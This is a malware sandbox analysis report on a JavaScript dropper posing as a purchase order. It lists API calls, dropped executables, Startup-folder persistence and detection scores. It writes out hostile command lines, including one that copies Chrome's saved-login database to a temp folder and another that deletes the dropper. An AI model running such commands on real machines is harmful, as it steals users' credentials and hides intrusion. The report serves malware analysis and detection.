Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: String function: 010AD08C appears 42 times
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: String function: 0105B150 appears 154 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 0435B150 appears 35 times

Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002A320 NtCreateFile,	3_2_0002A320
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002A3D0 NtReadFile,	3_2_0002A3D0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002A450 NtClose,	3_2_0002A450
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002A500 NtAllocateVirtualMemory,	3_2_0002A500
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002A31A NtCreateFile,	3_2_0002A31A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002A3CA NtReadFile,	3_2_0002A3CA
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002A4FA NtAllocateVirtualMemory,	3_2_0002A4FA
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE98F0 NtReadVirtualMemory,LdrInitializeThunk,	3_2_00DE98F0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9840 NtDelayExecution,LdrInitializeThunk,	3_2_00DE9840
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9860 NtQuerySystemInformation,LdrInitializeThunk,	3_2_00DE9860
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE99A0 NtCreateSection,LdrInitializeThunk,	3_2_00DE99A0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	3_2_00DE9910
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9A50 NtCreateFile,LdrInitializeThunk,	3_2_00DE9A50
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9A00 NtProtectVirtualMemory,LdrInitializeThunk,	3_2_00DE9A00
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9A20 NtResumeThread,LdrInitializeThunk,	3_2_00DE9A20
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE95D0 NtClose,LdrInitializeThunk,	3_2_00DE95D0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9540 NtReadFile,LdrInitializeThunk,	3_2_00DE9540
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE96E0 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_00DE96E0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9660 NtAllocateVirtualMemory,LdrInitializeThunk,	3_2_00DE9660
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9FE0 NtCreateMutant,LdrInitializeThunk,	3_2_00DE9FE0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9780 NtMapViewOfSection,LdrInitializeThunk,	3_2_00DE9780
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE97A0 NtUnmapViewOfSection,LdrInitializeThunk,	3_2_00DE97A0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9710 NtQueryInformationToken,LdrInitializeThunk,	3_2_00DE9710
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE98A0 NtWriteVirtualMemory,	3_2_00DE98A0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DEB040 NtSuspendThread,	3_2_00DEB040
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9820 NtEnumerateKey,	3_2_00DE9820
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE99D0 NtCreateProcessEx,	3_2_00DE99D0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9950 NtQueueApcThread,	3_2_00DE9950
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9A80 NtOpenDirectoryObject,	3_2_00DE9A80
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9A10 NtQuerySection,	3_2_00DE9A10
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DEA3B0 NtGetContextThread,	3_2_00DEA3B0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE9B00 NtSetValueKey,	3_2_00DE9B00
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE95F0 NtQueryInformationFile,	3_2_00DE95F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399860 NtQuerySystemInformation,LdrInitializeThunk,	13_2_04399860
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399840 NtDelayExecution,LdrInitializeThunk,	13_2_04399840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399910 NtAdjustPrivilegesToken,LdrInitializeThunk,	13_2_04399910
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399540 NtReadFile,LdrInitializeThunk,	13_2_04399540
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043999A0 NtCreateSection,LdrInitializeThunk,	13_2_043999A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043995D0 NtClose,LdrInitializeThunk,	13_2_043995D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399610 NtEnumerateValueKey,LdrInitializeThunk,	13_2_04399610
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399660 NtAllocateVirtualMemory,LdrInitializeThunk,	13_2_04399660
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399A50 NtCreateFile,LdrInitializeThunk,	13_2_04399A50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399650 NtQueryValueKey,LdrInitializeThunk,	13_2_04399650
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043996E0 NtFreeVirtualMemory,LdrInitializeThunk,	13_2_043996E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043996D0 NtCreateKey,LdrInitializeThunk,	13_2_043996D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399710 NtQueryInformationToken,LdrInitializeThunk,	13_2_04399710
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399B00 NtSetValueKey,LdrInitializeThunk,	13_2_04399B00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399780 NtMapViewOfSection,LdrInitializeThunk,	13_2_04399780
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399FE0 NtCreateMutant,LdrInitializeThunk,	13_2_04399FE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399820 NtEnumerateKey,	13_2_04399820
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0439B040 NtSuspendThread,	13_2_0439B040
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043998A0 NtWriteVirtualMemory,	13_2_043998A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043998F0 NtReadVirtualMemory,	13_2_043998F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0439AD30 NtSetContextThread,	13_2_0439AD30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399520 NtWaitForSingleObject,	13_2_04399520
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399560 NtWriteFile,	13_2_04399560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399950 NtQueueApcThread,	13_2_04399950
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043995F0 NtQueryInformationFile,	13_2_043995F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043999D0 NtCreateProcessEx,	13_2_043999D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399A20 NtResumeThread,	13_2_04399A20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399A10 NtQuerySection,	13_2_04399A10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399A00 NtProtectVirtualMemory,	13_2_04399A00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399670 NtQueryInformationProcess,	13_2_04399670
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399A80 NtOpenDirectoryObject,	13_2_04399A80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399730 NtQueryVirtualMemory,	13_2_04399730
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0439A710 NtOpenProcessToken,	13_2_0439A710
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399770 NtSetInformationFile,	13_2_04399770
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0439A770 NtOpenThread,	13_2_0439A770
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04399760 NtOpenProcess,	13_2_04399760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0439A3B0 NtGetContextThread,	13_2_0439A3B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043997A0 NtUnmapViewOfSection,	13_2_043997A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041A320 NtCreateFile,	13_2_0041A320
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041A3D0 NtReadFile,	13_2_0041A3D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041A450 NtClose,	13_2_0041A450
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041A500 NtAllocateVirtualMemory,	13_2_0041A500
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041A31A NtCreateFile,	13_2_0041A31A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041A3CA NtReadFile,	13_2_0041A3CA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041A4FA NtAllocateVirtualMemory,	13_2_0041A4FA
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008EA3D0 NtReadFile,	23_2_008EA3D0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008EA320 NtCreateFile,	23_2_008EA320
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008EA450 NtClose,	23_2_008EA450
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008EA500 NtAllocateVirtualMemory,	23_2_008EA500
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008EA3CA NtReadFile,	23_2_008EA3CA
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008EA31A NtCreateFile,	23_2_008EA31A
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008EA4FA NtAllocateVirtualMemory,	23_2_008EA4FA
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099910 NtAdjustPrivilegesToken,LdrInitializeThunk,	23_2_01099910
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099860 NtQuerySystemInformation,LdrInitializeThunk,	23_2_01099860
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010995D0 NtClose,LdrInitializeThunk,	23_2_010995D0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099FE0 NtCreateMutant,LdrInitializeThunk,	23_2_01099FE0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099660 NtAllocateVirtualMemory,LdrInitializeThunk,	23_2_01099660
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010996E0 NtFreeVirtualMemory,LdrInitializeThunk,	23_2_010996E0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099950 NtQueueApcThread,	23_2_01099950
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010999A0 NtCreateSection,	23_2_010999A0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010999D0 NtCreateProcessEx,	23_2_010999D0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099820 NtEnumerateKey,	23_2_01099820
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099840 NtDelayExecution,	23_2_01099840
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0109B040 NtSuspendThread,	23_2_0109B040
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010998A0 NtWriteVirtualMemory,	23_2_010998A0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010998F0 NtReadVirtualMemory,	23_2_010998F0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099B00 NtSetValueKey,	23_2_01099B00
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0109A3B0 NtGetContextThread,	23_2_0109A3B0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099A00 NtProtectVirtualMemory,	23_2_01099A00
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099A10 NtQuerySection,	23_2_01099A10
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099A20 NtResumeThread,	23_2_01099A20
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099A50 NtCreateFile,	23_2_01099A50
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099A80 NtOpenDirectoryObject,	23_2_01099A80
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099520 NtWaitForSingleObject,	23_2_01099520
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0109AD30 NtSetContextThread,	23_2_0109AD30
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099540 NtReadFile,	23_2_01099540
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099560 NtWriteFile,	23_2_01099560
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010995F0 NtQueryInformationFile,	23_2_010995F0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099710 NtQueryInformationToken,	23_2_01099710
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0109A710 NtOpenProcessToken,	23_2_0109A710
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099730 NtQueryVirtualMemory,	23_2_01099730
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099760 NtOpenProcess,	23_2_01099760
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099770 NtSetInformationFile,	23_2_01099770
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0109A770 NtOpenThread,	23_2_0109A770
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099780 NtMapViewOfSection,	23_2_01099780
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010997A0 NtUnmapViewOfSection,	23_2_010997A0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099610 NtEnumerateValueKey,	23_2_01099610
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099650 NtQueryValueKey,	23_2_01099650
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01099670 NtQueryInformationProcess,	23_2_01099670
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010996D0 NtCreateKey,	23_2_010996D0

Source: oxx7nkdv4g8.exe.4.dr	Static PE information: No import functions for PE file found
Source: bin.exe.0.dr	Static PE information: No import functions for PE file found
Source: oxx7nkdv4g8.exe0.4.dr	Static PE information: No import functions for PE file found

Source: CIQ-PO16266.js

Initial sample: Strings found which are bigger than 50

Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe AD408337CE7D70D527D6A9044B1095B7F8149BB63139B0C5F2003E6D55305341
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\Clf0t8l5h\oxx7nkdv4g8.exe AD408337CE7D70D527D6A9044B1095B7F8149BB63139B0C5F2003E6D55305341

Source: bin.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: oxx7nkdv4g8.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: oxx7nkdv4g8.exe0.4.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: oxx7nkdv4g8.exe.4.dr	Static PE information: Section .text
Source: bin.exe.0.dr	Static PE information: Section .text
Source: oxx7nkdv4g8.exe0.4.dr	Static PE information: Section .text

Source: CIQ-PO16266.js	Virustotal: Detection: 25%
Source: CIQ-PO16266.js	ReversingLabs: Detection: 22%

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\CIQ-PO16266.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\wtheeNaAZG.js
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\bin.exe "C:\Users\user\AppData\Local\Temp\bin.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wtheeNaAZG.js"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wtheeNaAZG.js"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wtheeNaAZG.js"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\bin.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\wtheeNaAZG.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\bin.exe "C:\Users\user\AppData\Local\Temp\bin.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wtheeNaAZG.js"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wtheeNaAZG.js"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\bin.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\wtheeNaAZG.js

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\bin.exe

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winJS@19/7@40/16

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5772:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6796:120:WilError_01

Source: C:\Windows\explorer.exe

File created: C:\Program Files (x86)\Clf0t8l5h

Jump to behavior

Source: explorer.exe, 00000004.00000000.478842715.000000000DF60000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: qBS;.VBp

Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\explorer.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Office\16.0\Outlook\Capabilities

Jump to behavior

Source:	Binary string: wntdll.pdbUGP source: bin.exe, 00000003.00000003.451270316.0000000000BE1000.00000004.00000800.00020000.00000000.sdmp, bin.exe, 00000003.00000003.448147583.0000000000A4C000.00000004.00000800.00020000.00000000.sdmp, bin.exe, 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, bin.exe, 00000003.00000002.578046255.0000000000E9F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000003.579500120.0000000000D4E000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000003.577535038.0000000000BAF000.00000004.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000002.891799619.0000000001030000.00000040.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000003.890212003.0000000000E92000.00000004.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000003.888712665.0000000000BD9000.00000004.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000002.892187528.000000000114F000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: bin.exe, bin.exe, 00000003.00000003.451270316.0000000000BE1000.00000004.00000800.00020000.00000000.sdmp, bin.exe, 00000003.00000003.448147583.0000000000A4C000.00000004.00000800.00020000.00000000.sdmp, bin.exe, 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, bin.exe, 00000003.00000002.578046255.0000000000E9F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, rundll32.exe, 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000003.579500120.0000000000D4E000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000003.577535038.0000000000BAF000.00000004.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, oxx7nkdv4g8.exe, 00000017.00000002.891799619.0000000001030000.00000040.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000003.890212003.0000000000E92000.00000004.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000003.888712665.0000000000BD9000.00000004.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000002.892187528.000000000114F000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0001C928 push cs; retf	3_2_0001C935
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0001492D push eax; ret	3_2_0001492E
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_000272B3 push eax; retf	3_2_000272B4
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002EB3B push dword ptr [7D52CE57h]; ret	3_2_0002EB5E
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002D625 push eax; ret	3_2_0002D678
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002D672 push eax; ret	3_2_0002D678
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002D67B push eax; ret	3_2_0002D6E2
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002D6DC push eax; ret	3_2_0002D6E2
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DFD0D1 push ecx; ret	3_2_00DFD0E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043AD0D1 push ecx; ret	13_2_043AD0E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0040C928 push cs; retf	13_2_0040C935
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0040492D push eax; ret	13_2_0040492E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_004172B3 push eax; retf	13_2_004172B4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041EB3B push dword ptr [7D52CE57h]; ret	13_2_0041EB5E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041D672 push eax; ret	13_2_0041D678
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041D67B push eax; ret	13_2_0041D6E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041D625 push eax; ret	13_2_0041D678
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041D6DC push eax; ret	13_2_0041D6E2
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008D492D push eax; ret	23_2_008D492E
